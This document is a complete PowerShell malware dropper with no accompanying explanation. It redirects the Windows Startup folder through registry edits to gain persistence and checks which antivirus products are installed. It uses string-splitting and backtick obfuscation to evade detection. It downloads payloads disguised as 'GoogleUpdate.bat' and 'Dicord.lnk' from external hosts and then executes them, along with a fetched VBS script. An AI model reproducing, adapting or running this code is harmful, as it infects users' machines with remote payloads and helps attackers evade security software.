[system.io.directory]::CreateDirectory("C:\P"+"r"+"o"+"g"+"ra"+"mDa"+"t"+"a\Micr"+"oso"+"f"+"t A"+"rts"+"\S"+"ta"+"rt\")
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";


Function aloshy
{
if([System.IO.File]::Exists("C:\Program Files\Avast Software\Avast\AvastUI.exe")){

start-sleep -s 10

powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://archive.org/download/1goo_20210425/1goo.txt', 'C:\Users\Public\msi.ps1') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"

start-sleep -s 7
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
start-sleep -s 3
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}
elseif([System.IO.File]::Exists("C:\Program Files\ESET\ESET Security\ecmds.exe")){



powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://archive.org/download/2goo_20210425/2goo.txt', 'C:\Users\Public\msi.ps1') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"

start-sleep -s 7
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
start-sleep -s 3
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}


elseif([System.IO.File]::Exists("C:\Program Files\AVG\Antivirus\AVGUI.exe")){



powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://archive.org/download/1goo_20210425/1goo.txt', 'C:\Users\Public\msi.ps1') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"

start-sleep -s 7
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
start-sleep -s 3
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}
else{

$defender = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('http://update.homesecuritymac.com/test/End.txt', $defender + '11.ps1')){
}

$def = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('http://firas.alifares.org/defender/ss.vbs', $def + 'ss.vbs')){
}
start-sleep -s 25
start "C:\Users\Public\ss.vbs"

start-sleep -s 20


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/GoogleUpdate.bat', 'C:\Users\Public\GoogleUpdate.bat') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://archive.org/download/2goo_20210425/2goo.txt', 'C:\Users\Public\msi.ps1') }"


powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/def/Dicord.lnk', 'C:\ProgramData\Microsoft Arts\Start\Dicord.lnk') }"

start-sleep -s 7
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
start-sleep -s 3
Start "C:\ProgramData\Microsoft Arts\Start\Dicord.lnk"
}
}
IEX aloshy